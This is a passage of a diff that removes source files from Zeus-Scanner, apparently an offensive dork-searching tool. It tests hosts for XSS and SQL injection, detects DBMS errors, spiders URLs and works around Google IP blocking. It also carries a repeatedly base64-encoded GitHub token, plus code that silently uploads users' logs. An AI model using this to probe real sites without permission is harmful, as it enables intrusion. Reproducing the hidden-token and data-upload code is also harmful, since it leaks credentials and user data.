logger.debug(set_color(
|
||||
"a total of {} payloads loaded...".format(len(payloads)), level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"payloads will be written to a temporary file and read from there..."
|
||||
))
|
||||
filename = create_urls(start_url, payloads, tamper=tamper)
|
||||
logger.info(set_color(
|
||||
"loaded URL's have been saved to '{}'...".format(filename)
|
||||
))
|
||||
logger.info(set_color(
|
||||
"testing for XSS vulnerabilities on host '{}'...".format(start_url)
|
||||
))
|
||||
if proxy is not None:
|
||||
logger.info(set_color(
|
||||
"using proxy '{}'...".format(proxy)
|
||||
))
|
||||
success = set()
|
||||
with open(filename) as urls:
|
||||
for i, url in enumerate(urls.readlines(), start=1):
|
||||
url = url.strip()
|
||||
result = scan_xss(url, proxy=proxy, agent=agent)
|
||||
payload = find_xss_script(url)
|
||||
if verbose:
|
||||
logger.info(set_color(
|
||||
"trying payload '{}'...".format(payload)
|
||||
))
|
||||
if result[0] != "sqli" and result[0] is True:
|
||||
success.add(url)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"payload '{}' appears to be usable...".format(payload), level=10
|
||||
))
|
||||
elif result[0] is "sqli":
|
||||
if i <= 1:
|
||||
logger.error(set_color(
|
||||
"loaded URL '{}' threw a DBMS error and appears to be injectable, test for SQL injection, "
|
||||
"backend DBMS appears to be '{}'...".format(
|
||||
url, result[1]
|
||||
), level=40
|
||||
))
|
||||
else:
|
||||
if verbose:
|
||||
logger.error(set_color(
|
||||
"SQL error discovered...", level=40
|
||||
))
|
||||
else:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"host '{}' does not appear to be vulnerable to XSS attacks with payload '{}'...".format(
|
||||
start_url, payload
|
||||
), level=10
|
||||
))
|
||||
if len(success) != 0:
|
||||
logger.info(set_color(
|
||||
"possible XSS scripts to be used:"
|
||||
))
|
||||
create_tree(start_url, list(success))
|
||||
else:
|
||||
logger.error(set_color(
|
||||
"host '{}' does not appear to be vulnerable to XSS attacks...".format(start_url)
|
||||
))
|
||||
save = prompt(
|
||||
"would you like to keep the URL's saved for further testing", opts="yN"
|
||||
)
|
||||
if save.lower().startswith("n"):
|
||||
os.remove(filename)
|
||||
|
|
@ -1,19 +0,0 @@
|
|||
class InvalidProxyType(Exception): pass
|
||||
|
||||
|
||||
class ApiConnectionError(Exception): pass
|
||||
|
||||
|
||||
class ApplicationNotFound(Exception): pass
|
||||
|
||||
|
||||
class SqlmapFailedStart(Exception): pass
|
||||
|
||||
|
||||
class SpiderTestFailure(Exception): pass
|
||||
|
||||
|
||||
class InvalidInputProvided(Exception): pass
|
||||
|
||||
|
||||
class InvalidTamperProvided(Exception): pass
|
||||
407
lib/settings.py
407
lib/settings.py
|
|
@ -1,407 +0,0 @@
|
|||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import glob
|
||||
import logging
|
||||
import random
|
||||
import difflib
|
||||
import itertools
|
||||
import multiprocessing
|
||||
|
||||
import whichcraft
|
||||
|
||||
import lib.errors
|
||||
import bin.unzip_gecko
|
||||
|
||||
try:
|
||||
raw_input # Python 2
|
||||
except NameError:
|
||||
raw_input = input # Python 3
|
||||
|
||||
# clone link
|
||||
CLONE = "https://github.com/ekultek/zeus-scanner.git"
|
||||
# current version <major.minor.commit.patch ID>
|
||||
VERSION = "1.0.29"
|
||||
# colors to output depending on the version
|
||||
VERSION_TYPE_COLORS = {"dev": 33, "stable": 92, "other": 30}
|
||||
# version string formatting
|
||||
if VERSION.count(".") == 1:
|
||||
VERSION_STRING = "\033[92mv{}\033[0m(\033[{}m\033[1mstable\033[0m)".format(VERSION, VERSION_TYPE_COLORS["stable"])
|
||||
elif VERSION.count(".") <= 2:
|
||||
VERSION_STRING = "\033[92mv{}\033[0m(\033[{}m\033[1mdev\033[0m)".format(VERSION, VERSION_TYPE_COLORS["dev"])
|
||||
else:
|
||||
VERSION_STRING = "\033[92mv{}\033[0m(\033[{}m\033[1mrevision\033[0m)".format(VERSION, VERSION_TYPE_COLORS["other"])
|
||||
# zeus-scanners saying
|
||||
SAYING = "Advanced Dork Searching..."
|
||||
# sexy banner
|
||||
BANNER = """\033[36m
|
||||
__ __________ __
|
||||
/ / \____ /____ __ __ ______ \ \
|
||||
/ / ______ / // __ \| | \/ ___/ ______ \ \
|
||||
\ \ /_____/ / /\ ___/| | /\___ \ /_____/ / /
|
||||
\_\ /_______ \___ >____//____ > /_/
|
||||
\/ \/ \/ {}
|
||||
\t{}\n\t\t{}\033[0m""".format(VERSION_STRING, CLONE, SAYING)
|
||||
# default user agent if another one isn't given
|
||||
DEFAULT_USER_AGENT = "Zeus-Scanner(v{})::Python->v{}.{}".format(
|
||||
VERSION, sys.version_info[0], sys.version_info[1]
|
||||
)
|
||||
# regex to find GET params in a URL, IE php?id=
|
||||
URL_QUERY_REGEX = re.compile(r"(.*)[?|#](.*){1}\=(.*)")
|
||||
# regex to recognize a URL
|
||||
URL_REGEX = re.compile(r"((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)")
|
||||
# log path for the URL's that are found
|
||||
URL_LOG_PATH = "{}/log/url-log".format(os.getcwd())
|
||||
# log path for port scans
|
||||
PORT_SCAN_LOG_PATH = "{}/log/scanner-log".format(os.getcwd())
|
||||
# blackwidow log path
|
||||
SPIDER_LOG_PATH = "{}/log/blackwidow-log".format(os.getcwd())
|
||||
# the current log file being used
|
||||
CURRENT_LOG_FILE_PATH = "{}/log".format(os.getcwd())
|
||||
# nmap's manual page for their options
|
||||
NMAP_MAN_PAGE_URL = "https://nmap.org/book/man-briefoptions.html"
|
||||
# sqlmap's manual page for their options
|
||||
SQLMAP_MAN_PAGE_URL = "https://github.com/sqlmapproject/sqlmap/wiki/Usage"
|
||||
# search engines that the application can use
|
||||
AUTHORIZED_SEARCH_ENGINES = {
|
||||
"aol": "http://aol.com",
|
||||
"bing": "http://bing.com",
|
||||
"duckduckgo": "http://duckduckgo.com",
|
||||
"google": "http://google.com"
|
||||
}
|
||||
SPIDER_EXT_EXCLUDE = (
|
||||
"3ds", "3g2", "3gp", "7z", "DS_Store",
|
||||
"a", "aac", "adp", "ai", "aif", "aiff",
|
||||
"apk", "ar", "asf", "au", "avi", "bak",
|
||||
"bin", "bk", "bmp", "btif", "bz2", "cab",
|
||||
"caf", "cgm", "cmx", "cpio", "cr2", "dat",
|
||||
"deb", "djvu", "dll", "dmg", "dmp", "dng",
|
||||
"doc", "docx", "dot", "dotx", "dra", "dsk",
|
||||
"dts", "dtshd", "dvb", "dwg", "dxf", "ear",
|
||||
"ecelp4800", "ecelp7470", "ecelp9600", "egg",
|
||||
"eol", "eot", "epub", "exe", "f4v", "fbs", "fh",
|
||||
"fla", "flac", "fli", "flv", "fpx", "fst", "fvt",
|
||||
"g3", "gif", "gz", "h261", "h263", "h264", "ico",
|
||||
"ief", "image", "img", "ipa", "iso", "jar", "jpeg",
|
||||
"jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz",
|
||||
"lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi",
|
||||
"mid", "mj2", "mka", "mkv", "mmr", "mng", "mov",
|
||||
"movie", "mp3", "mp4", "mp4a", "mpeg", "mpg",
|
||||
"mpga", "mxu", "nef", "npx", "o", "oga", "ogg",
|
||||
"ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm",
|
||||
"pic", "png", "pnm", "ppm", "pps", "ppt", "pptx",
|
||||
"ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar",
|
||||
"ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z",
|
||||
"scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub",
|
||||
"swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz",
|
||||
"ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu",
|
||||
"viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba",
|
||||
"webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff",
|
||||
"woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm",
|
||||
"xpi", "xpm", "xwd", "xz", "z", "zip", "zipx"
|
||||
)
|
||||
DBMS_ERRORS = { # regular expressions used for DBMS recognition based on error message response
|
||||
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
|
||||
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
|
||||
"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server",
|
||||
r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*",
|
||||
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}",
|
||||
r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
|
||||
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
|
||||
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver",
|
||||
r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
|
||||
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
|
||||
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception",
|
||||
r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*",
|
||||
r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
|
||||
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
|
||||
}
|
||||
|
||||
|
||||
# this has to be the first function so that I can use it in the logger settings below
|
||||
def create_log_name(log_path="{}/log", filename="zeus-log-{}.log"):
|
||||
"""
|
||||
create the current log file name by figuring out how many files are there
|
||||
"""
|
||||
if not os.path.exists(log_path.format(os.getcwd())):
|
||||
os.mkdir(log_path.format(os.getcwd()))
|
||||
find_file_amount = len(os.listdir(log_path.format(os.getcwd())))
|
||||
full_log_path = "{}/{}".format(log_path.format(os.getcwd()), filename.format(find_file_amount + 1))
|
||||
return full_log_path
|
||||
|
||||
# console logger and file logger settings
|
||||
logger = logging.getLogger("zeus-log")
|
||||
logger.setLevel(logging.DEBUG)
|
||||
file_handler = logging.FileHandler(
|
||||
filename=create_log_name(), mode="a+"
|
||||
)
|
||||
file_handler.setLevel(logging.DEBUG)
|
||||
console_handler = logging.StreamHandler()
|
||||
console_handler.setLevel(logging.DEBUG)
|
||||
file_format = logging.Formatter(
|
||||
'%(asctime)s;%(name)s;%(levelname)s;%(message)s'
|
||||
)
|
||||
console_format = logging.Formatter(
|
||||
"[%(asctime)s %(levelname)s] %(message)s", "%H:%M:%S"
|
||||
)
|
||||
file_handler.setFormatter(file_format)
|
||||
console_handler.setFormatter(console_format)
|
||||
logger.addHandler(console_handler)
|
||||
logger.addHandler(file_handler)
|
||||
|
||||
|
||||
def create_dir(dirpath):
|
||||
"""
|
||||
create a directory if it doesn't exist
|
||||
"""
|
||||
if not os.path.exists(dirpath):
|
||||
os.mkdir(dirpath)
|
||||
|
||||
|
||||
def set_color(org_string, level=None):
|
||||
"""
|
||||
set the console log color, this will kinda mess with the file log but whatever
|
||||
"""
|
||||
color_levels = {
|
||||
10: "\033[36m{}\033[0m", # DEBUG
|
||||
20: "\033[32m{}\033[0m", # INFO *default
|
||||
30: "\033[33m{}\033[0m", # WARNING
|
||||
40: "\033[31m{}\033[0m", # ERROR
|
||||
50: "\033[7;31;31m{}\033[0m" # FATAL/CRITICAL/EXCEPTION
|
||||
}
|
||||
if level is None:
|
||||
return color_levels[20].format(org_string)
|
||||
else:
|
||||
return color_levels[int(level)].format(org_string)
|
||||
|
||||
|
||||
def get_proxy_type(proxy_string):
|
||||
"""
|
||||
get the type of proxy that is being used or output possible proxy types you're trying to use
|
||||
"""
|
||||
acceptable = ("http", "https", "socks5", "socks4")
|
||||
prox_list = proxy_string.split("://")
|
||||
if prox_list[0] not in acceptable:
|
||||
raise lib.errors.InvalidProxyType(
|
||||
"{} is not a valid proxy type, you might be looking for "
|
||||
"{}..".format(prox_list[0], difflib.get_close_matches(prox_list[0], acceptable))
|
||||
)
|
||||
else:
|
||||
return prox_list[0], prox_list[-1]
|
||||
|
||||
|
||||
def proxy_string_to_dict(proxy_string):
|
||||
"""
|
||||
send the proxy string to a dict -> http://127.0.0.1:8080 -> {'http': '127.0.0.1:8080'}
|
||||
"""
|
||||
if proxy_string is None:
|
||||
return None
|
||||
proxy_data = get_proxy_type(proxy_string)
|
||||
retval = {proxy_data[0]: proxy_data[1]}
|
||||
return retval
|
||||
|
||||
|
||||
def start_up():
|
||||
"""
|
||||
start the program and display the time it was started
|
||||
"""
|
||||
print(
|
||||
"\n\n[*] starting up at {}..\n\n".format(time.strftime("%H:%M:%S"))
|
||||
)
|
||||
|
||||
|
||||
def shutdown():
|
||||
"""
|
||||
shut down the program and the time it stopped
|
||||
"""
|
||||
print(
|
||||
"\n\n[*] shutting down at {}..\n\n".format(time.strftime("%H:%M:%S"))
|
||||
)
|
||||
exit(0)
|
||||
|
||||
|
||||
def setup(verbose=False):
|
||||
"""
|
||||
setup the application if it has not been setup yet
|
||||
"""
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"checking if the application has been run before...", level=10
|
||||
))
|
||||
bin.unzip_gecko.main(verbose=verbose)
|
||||
|
||||
|
||||
def get_latest_log_file(log_path):
|
||||
"""
|
||||
get the latest log file being used from the given path
|
||||
"""
|
||||
file_list = glob.glob(log_path + "/*")
|
||||
latest = max(file_list, key=os.path.getctime)
|
||||
return latest
|
||||
|
||||
|
||||
def replace_http(url):
|
||||
"""
|
||||
replace the http in the url so we can get the IP address
|
||||
"""
|
||||
|
||||
def __remove_queries(data):
|
||||
"""
|
||||
delete the queries from the URL
|
||||
"""
|
||||
return data.split("/")[0]
|
||||
try:
|
||||
url_list = url.split("//")
|
||||
new_url = url_list[1]
|
||||
return __remove_queries(new_url)
|
||||
except IndexError:
|
||||
return url
|
||||
|
||||
|
||||
def grab_random_agent(agent_path="{}/etc/agents.txt", verbose=False):
|
||||
"""
|
||||
grab a random user agent from the agent file
|
||||
"""
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"grabbing random user-agent from '{}'...".format(agent_path.format(os.getcwd())), level=10
|
||||
))
|
||||
with open(agent_path.format(os.getcwd())) as agents:
|
||||
retval = random.choice(agents.readlines())
|
||||
return retval.strip()
|
||||
|
||||
|
||||
def prompt(question, opts=None):
|
||||
"""
|
||||
ask a question
|
||||
"""
|
||||
if opts is not None:
|
||||
options = '/'.join(opts)
|
||||
return raw_input(
|
||||
"[{} {}] {}[{}]: ".format(
|
||||
time.strftime("%H:%M:%S"),
|
||||
"PROMPT", question, options
|
||||
)
|
||||
)
|
||||
else:
|
||||
return raw_input(
|
||||
"[{} {}] {} ".format(
|
||||
time.strftime("%H:%M:%S"), "PROMPT", question
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def worker(filename, item):
|
||||
"""
|
||||
worker for multiprocessing
|
||||
"""
|
||||
if item in filename or filename == item or filename is item:
|
||||
return filename
|
||||
|
||||
|
||||
def find_application(to_find, default_search_path="/", proc_num=25, given_search_path=None, verbose=False):
|
||||
"""
|
||||
find an application on the users system if it is not in their PATH or no path is given
|
||||
"""
|
||||
retval = set()
|
||||
if whichcraft.which(to_find) is None:
|
||||
logger.error(set_color(
|
||||
"{} not in your PATH, what kind of hacker are you?! "
|
||||
"defaulting to root search, this can take awhile...".format(to_find), level=40
|
||||
))
|
||||
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"starting {} processes to search for '{}' starting at '{}'...".format(
|
||||
proc_num, to_find, default_search_path if given_search_path is None else given_search_path
|
||||
), level=10
|
||||
))
|
||||
pool = multiprocessing.Pool(proc_num)
|
||||
walker = os.walk(default_search_path)
|
||||
file_data_gen = itertools.chain.from_iterable(
|
||||
(os.path.join(root, f) for f in files)
|
||||
for root, sub, files in walker
|
||||
)
|
||||
results = pool.map(worker, file_data_gen)
|
||||
for data in results:
|
||||
if data is not None:
|
||||
retval.add(data)
|
||||
if len(retval) == 0:
|
||||
raise lib.errors.ApplicationNotFound(
|
||||
"unable to find '{}' on your system, install it first...".format(to_find)
|
||||
)
|
||||
else:
|
||||
return list(retval)
|
||||
else:
|
||||
return whichcraft.which(to_find)
|
||||
|
||||
|
||||
def get_random_dork(filename="{}/etc/dorks.txt"):
|
||||
"""
|
||||
grab a random dork from the file
|
||||
"""
|
||||
with open(filename.format(os.getcwd())) as dorks:
|
||||
return random.choice(dorks.readlines())
|
||||
|
||||
|
||||
def update_zeus():
|
||||
can_update = True if ".git" in os.listdir(os.getcwd()) else False
|
||||
if can_update:
|
||||
return os.system("git pull origin master")
|
||||
else:
|
||||
logger.fatal(set_color(
|
||||
"no git repository found in directory, unable to update automatically..."
|
||||
))
|
||||
|
||||
|
||||
def create_tree(start, conns, down="|", over="-", sep="-" * 40):
|
||||
print("{}\nStarting URL: {}\n\nConnections:".format(sep, start))
|
||||
for con in conns:
|
||||
print(
|
||||
"{}{}{}".format(
|
||||
down, over, con
|
||||
)
|
||||
)
|
||||
print(sep)
|
||||
|
||||
|
||||
def get_true_url(url):
|
||||
data = url.split("/")
|
||||
return "{}//{}".format(data[0], data[2])
|
||||
|
||||
|
||||
def fix_log_file(logfile=get_latest_log_file(CURRENT_LOG_FILE_PATH)):
|
||||
retval = ""
|
||||
escape_seq_regex = re.compile("\033\[\d+[*m]")
|
||||
with open(logfile, "r+") as to_fix:
|
||||
for line in to_fix.readlines():
|
||||
retval += escape_seq_regex.sub("", line)
|
||||
open(logfile, "w").close()
|
||||
with open(logfile, "a+") as fixed:
|
||||
for line in retval.split("\n"):
|
||||
fixed.write(line + "\n")
|
||||
|
||||
|
||||
def write_to_log_file(data_to_write, path, filename):
|
||||
create_dir(path.format(os.getcwd()))
|
||||
full_file_path = "{}/{}".format(
|
||||
path.format(os.getcwd()), filename.format(len(os.listdir(path.format(
|
||||
os.getcwd()
|
||||
))) + 1)
|
||||
)
|
||||
with open(full_file_path, "a+") as log:
|
||||
if isinstance(data_to_write, list):
|
||||
for item in data_to_write:
|
||||
item = item.strip()
|
||||
log.write(str(item) + "\n")
|
||||
elif isinstance(data_to_write, (tuple, set)):
|
||||
for item in list(data_to_write):
|
||||
item = item.strip()
|
||||
log.write(str(item) + "\n")
|
||||
else:
|
||||
log.write(data_to_write + "\n")
|
||||
logger.info(set_color(
|
||||
"successfully wrote found items to '{}'...".format(full_file_path)
|
||||
))
|
||||
return full_file_path
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
selenium==3.5.0
|
||||
requests==2.12.2
|
||||
python-nmap==0.6.1
|
||||
whichcraft==0.4.1
|
||||
pyvirtualdisplay==0.2.1
|
||||
lxml==3.7.3
|
||||
google-api-python-client==1.6.4
|
||||
httplib2==0.10.3
|
||||
|
|
@ -1,25 +0,0 @@
|
|||
Hi guys, firstly I would like to thank you for using Zeus, it's pretty cool right?!
|
||||
|
||||
Now that we got out of the way, I recently came across a video of someone trying to
|
||||
show people how to use Zeus and receiving an error while trying to use sqlmap's API
|
||||
server : https://www.youtube.com/watch?v=nADNliYrnuI
|
||||
|
||||
If you watch that video you will see that they never started the sqlmap API, nor passed
|
||||
any of the correct flags to even attempt to auto start it. They simply thought that
|
||||
Zeus would automatically find sqlmapapi.py and just start it for them. Well, yes that
|
||||
is possible, but it has not been implemented yet. In order to use sqlmap with Zeus you
|
||||
will need to do one of two things:
|
||||
|
||||
A) (easiest way) CD into sqlmap and run `python sqlmapapi.py -s`
|
||||
B) Pass the correct flags in order for Zeus to attempt to find sqlmap on your system
|
||||
and attempt to auto start the API server.
|
||||
|
||||
Also please keep in mind that for now, you will need to restart the API server every
|
||||
iteration. I've been trying to figure out a way to extract the hash ID values into a
|
||||
unique list, but it's a lot harder then you think it is. So remember to start the API
|
||||
and then press enter at the prompt. If you read the output (which you probably don't)
|
||||
then you will see that it tells you to start the API before continuing. I have caught
|
||||
the error and it will output that the API is not started if it hits that error. Once
|
||||
again, thank you for using Zeus, hope you enjoy it as much as I enjoy creating it.
|
||||
|
||||
- Eku
|
||||
|
|
@ -1,105 +0,0 @@
|
|||
import os
|
||||
import sys
|
||||
try:
|
||||
import urllib2 # python 2
|
||||
except ImportError:
|
||||
import urllib.request as urllib2 # python 3
|
||||
import json
|
||||
import platform
|
||||
|
||||
from base64 import b64decode
|
||||
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color,
|
||||
get_latest_log_file,
|
||||
CURRENT_LOG_FILE_PATH,
|
||||
VERSION
|
||||
)
|
||||
|
||||
|
||||
def __get_encoded_string(filename="{}/var/auto_issue/oauth"):
|
||||
with open(filename.format(os.getcwd())) as data:
|
||||
return data.read()
|
||||
|
||||
|
||||
def get_decode_num(data):
|
||||
return data.split(":")[-1]
|
||||
|
||||
|
||||
def decode(n, token):
|
||||
token = token.split(":")[0]
|
||||
for _ in range(int(n)):
|
||||
token = b64decode(token)
|
||||
return token
|
||||
|
||||
|
||||
def request_issue_creation():
|
||||
logger.info(set_color(
|
||||
"Zeus got an unexpected error and will automatically create an issue for this error, please wait..."
|
||||
))
|
||||
|
||||
def __extract_stacktrace(file_data):
|
||||
logger.info(set_color(
|
||||
"extracting traceback from log file..."
|
||||
))
|
||||
retval, buff_mode, _buffer = [], False, ""
|
||||
with open(file_data, "r+") as log:
|
||||
for line in log:
|
||||
if "Traceback" in line:
|
||||
buff_mode = True
|
||||
if line and len(line) < 5:
|
||||
buff_mode = False
|
||||
retval.append(_buffer)
|
||||
_buffer = ""
|
||||
if buff_mode:
|
||||
if len(line) > 400:
|
||||
line = line[:400] + "...\n"
|
||||
_buffer += line
|
||||
return "".join(retval)
|
||||
|
||||
logger.info(set_color(
|
||||
"getting authorization..."
|
||||
))
|
||||
|
||||
encoded = __get_encoded_string()
|
||||
n = get_decode_num(encoded)
|
||||
token = decode(n, encoded)
|
||||
|
||||
current_log_file = get_latest_log_file(CURRENT_LOG_FILE_PATH)
|
||||
stacktrace = __extract_stacktrace(current_log_file)
|
||||
issue_title = stacktrace.split("\n")[-2]
|
||||
|
||||
issue_data = {
|
||||
"title": issue_title,
|
||||
"body": "Zeus version:\n`{}`\n\n"
|
||||
"Error info:\n```{}````\n\n"
|
||||
"Running details:\n`{}`\n\n"
|
||||
"Commands used:\n`{}`\n\n"
|
||||
"Log file info:\n```{}```".format(
|
||||
VERSION,
|
||||
str(stacktrace),
|
||||
str(platform.platform()),
|
||||
" ".join(sys.argv),
|
||||
open(current_log_file).read()
|
||||
),
|
||||
}
|
||||
|
||||
_json_data = json.dumps(issue_data)
|
||||
if sys.version_info > (3,):
|
||||
_json_data = _json_data.encode("utf-8")
|
||||
|
||||
try:
|
||||
req = urllib2.Request(
|
||||
url="https://api.github.com/repos/ekultek/zeus-scanner/issues", data=_json_data,
|
||||
headers={"Authorization": "token {}".format(token)}
|
||||
)
|
||||
urllib2.urlopen(req, timeout=10).read()
|
||||
logger.info(set_color(
|
||||
"issue has been created successfully with the following name '{}'...".format(issue_title)
|
||||
))
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
"failed to auto create the issue, got exception '{}', "
|
||||
"you may manually create an issue...".format(e), level=50
|
||||
))
|
||||
|
|
@ -1 +0,0 @@
|
|||
Vm0wd2VHUXhTWGxTV0d4V1YwZG9jRlZ0TVc5V1JteHlWMjVrVmxKc2NEQlVWbU0xVmpBeFYySkVUbHBXVmxwUVZteFZlRll5VGtsaApSbHBYWld4YVRWWnJaRFJaVjAxNFZHNVdhZ3BTYldodlZGWmFjMDB4WkZkWGJVWmFWbXh3V0ZZeU5VdFhRWEJwVWpKb1dsWlVRbGRUCk1WWlhWMjVPVjJKVldsVlpiRnBIVGtaWmVXVkdaRlprTTBKd1ZXcEtiMWRXWkZoa1JtUnJDazFYVWxoWGExcHZZVEZLYzJOR1FsZGkKV0ZJelZqRmFWbVZYVWtoUFYyaHJUVEJLVlZadGRHdE9SbHBYVjJ4b2JGSnRVbkpEYXpGelYydG9WMDF1VW5aV1IzaHJVMFpXZFZGcwpjR2tLVW01Q1NWWkdVa2RWTWsxNFZtNVNVMkpJUWxkV01GWkxWbFphUjFWcmRHbE5WbHBJVjJ0YWExbFdTa2RUYlVaRVlrWnNNMVJzCldtOVdNVm8yVm10NFdGWnNjRXhhUmxwSFkyczVWd3BYYld0TFZXMTBkMU5XV25OVmEyUlhUVlZzTkZadGVITlpWa3B6VTI1S1ZWWXoKUW5WVWJGcEdaVlpzTm1KR1JsWldlbWMxVVRKak9WQlJiejBLCg==:9
|
||||
|
|
@ -1,87 +0,0 @@
|
|||
import os
|
||||
|
||||
import requests
|
||||
|
||||
import lib.settings
|
||||
import lib.errors
|
||||
|
||||
|
||||
class Blackwidow(object):
|
||||
|
||||
"""
|
||||
spider to scrape a webpage for all available URL's
|
||||
"""
|
||||
|
||||
def __init__(self, url, user_agent=None, proxy=None):
|
||||
self.url = url
|
||||
self.proxy = proxy or None
|
||||
self.user_agent = user_agent or lib.settings.DEFAULT_USER_AGENT
|
||||
|
||||
@staticmethod
|
||||
def get_url_ext(url):
|
||||
"""
|
||||
get the extenstion of the URL
|
||||
"""
|
||||
try:
|
||||
data = url.split(".")
|
||||
return data[-1] in lib.settings.SPIDER_EXT_EXCLUDE
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def test_connection(self):
|
||||
"""
|
||||
make sure the connection is good before you continue
|
||||
"""
|
||||
try:
|
||||
attempt = requests.get(self.url, params={"user-agent": self.user_agent}, proxies=self.proxy)
|
||||
if attempt.status_code == 200:
|
||||
return "ok"
|
||||
raise lib.errors.SpiderTestFailure(
|
||||
"failed to connect to '{}', received status code: {}".format(
|
||||
self.url, attempt.status_code
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"failed to connect to '{}' received error '{}'...".format(
|
||||
self.url, e
|
||||
)
|
||||
))
|
||||
|
||||
def scrape_page_for_links(self, given_url):
|
||||
"""
|
||||
scrape the webpage's HTML for usable GET links
|
||||
"""
|
||||
unique_links = set()
|
||||
while True:
|
||||
req = requests.get(given_url, params={"user-agent": self.user_agent}, proxies=self.proxy)
|
||||
html_page = req.content
|
||||
found_links = lib.settings.URL_REGEX.findall(html_page)
|
||||
for link in list(found_links):
|
||||
if lib.settings.URL_QUERY_REGEX.match(link[0]) and not Blackwidow.get_url_ext(link[0]):
|
||||
unique_links.add(link)
|
||||
break
|
||||
return list(unique_links)
|
||||
|
||||
|
||||
def blackwidow_main(url, proxy=None, agent=None, verbose=False):
|
||||
"""
|
||||
scrape a given URL for all available links
|
||||
"""
|
||||
lib.settings.create_dir("{}/{}".format(os.getcwd(), "log/blackwidow-log"))
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"starting blackwidow on '{}'...".format(url)
|
||||
))
|
||||
crawler = Blackwidow(url, user_agent=agent, proxy=proxy)
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"testing connection to the URL...", level=10
|
||||
))
|
||||
crawler.test_connection()
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"connection satisfied, continuing process...", level=10
|
||||
))
|
||||
found = crawler.scrape_page_for_links(url)
|
||||
to_use = [data[0] for data in found]
|
||||
lib.settings.write_to_log_file(to_use, path=lib.settings.SPIDER_LOG_PATH, filename="blackwidow-log-{}.log")
|
||||
|
|
@ -1,370 +0,0 @@
|
|||
import os
|
||||
import re
|
||||
import time
|
||||
try:
|
||||
from urllib import (
|
||||
unquote,
|
||||
)
|
||||
except ImportError:
|
||||
from urllib.parse import (
|
||||
unquote,
|
||||
)
|
||||
|
||||
import requests
|
||||
import httplib2
|
||||
import google as google_api
|
||||
from selenium import webdriver
|
||||
from pyvirtualdisplay import Display
|
||||
from selenium.webdriver.common.keys import Keys
|
||||
from selenium.webdriver.common.proxy import *
|
||||
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color,
|
||||
proxy_string_to_dict,
|
||||
DEFAULT_USER_AGENT,
|
||||
URL_QUERY_REGEX,
|
||||
URL_REGEX,
|
||||
shutdown,
|
||||
URL_LOG_PATH,
|
||||
write_to_log_file,
|
||||
get_proxy_type
|
||||
)
|
||||
|
||||
try:
|
||||
unicode
|
||||
except NameError:
|
||||
unicode = str
|
||||
|
||||
|
||||
def bypass_ip_block(url, content_sep=("continue=", "Fid", "%")):
|
||||
"""
|
||||
bypass Google's IP blocking by extracting the true URL from the ban URL.
|
||||
"""
|
||||
|
||||
def __add_https(data):
|
||||
if "https://" in data:
|
||||
return data
|
||||
else:
|
||||
return "https://{}".format(url.split("://")[-1])
|
||||
|
||||
if isinstance(url, unicode):
|
||||
url = str(url)
|
||||
content_list_start = []
|
||||
content_list_end = []
|
||||
if content_sep[0] in url:
|
||||
data_list = url.split(content_sep[0])
|
||||
url_to_use = data_list[1]
|
||||
else:
|
||||
url_to_use = url
|
||||
|
||||
for match in re.finditer(content_sep[1], url_to_use):
|
||||
content_list_start.append((match.start(), match.end()))
|
||||
splice_to_use = content_list_start[-1][-1]
|
||||
|
||||
for match in re.finditer(content_sep[2], url[0:splice_to_use]):
|
||||
content_list_end.append((match.start(), match.end()))
|
||||
return __add_https(url[0:content_list_end[-1][-1] - 1])
|
||||
|
||||
|
||||
def extract_webcache_url(webcache_url, splitter=("%2Bext", ":")):
|
||||
webcache_regex = re.compile(r"(?<=q=).*?(?=[&\"])")
|
||||
data = "".join(webcache_regex.findall(webcache_url))
|
||||
